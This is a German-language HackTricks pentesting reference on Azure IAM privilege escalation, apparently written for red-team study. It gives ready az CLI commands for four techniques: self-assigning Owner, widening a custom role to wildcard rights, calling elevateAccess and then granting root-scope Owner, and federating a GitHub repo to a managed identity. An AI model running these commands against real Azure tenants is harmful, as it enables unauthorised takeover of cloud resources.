Az - Azure IAM Privesc (Authorization)
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure IAM
Für weitere Informationen siehe:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Diese Berechtigung ermöglicht es, Rollen an Principals über einen bestimmten Geltungsbereich zuzuweisen, wodurch ein Angreifer seine Berechtigungen erhöhen kann, indem er sich selbst eine privilegiertere Rolle zuweist:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Diese Berechtigung ermöglicht es, die Berechtigungen, die durch eine Rolle gewährt werden, zu ändern, wodurch ein Angreifer die Privilegien erhöhen kann, indem er einer Rolle, die ihm zugewiesen wurde, weitere Berechtigungen gewährt.
Erstellen Sie die Datei role.json
mit dem folgenden Inhalt:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Dann aktualisieren Sie die Rollenzugriffsrechte mit der vorherigen Definition, indem Sie Folgendes aufrufen:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen für jede Entität zu Azure-Ressourcen zuzuweisen. Sie ist dafür gedacht, Entra ID Global Administratoren zugewiesen zu werden, damit sie auch Berechtigungen für Azure-Ressourcen verwalten können.
tip
Ich denke, der Benutzer muss Global Administrator in Entra ID sein, damit der Erhöhungsaufruf funktioniert.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Diese Berechtigung ermöglicht das Hinzufügen von föderierten Anmeldeinformationen zu verwalteten Identitäten. Z. B. Zugriff auf Github Actions in einem Repo für eine verwaltete Identität gewähren. Dann ermöglicht es den Zugriff auf jede benutzerdefinierte verwaltete Identität.
Beispielbefehl, um einer verwalteten Identität Zugriff auf ein Repo in Github zu gewähren:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.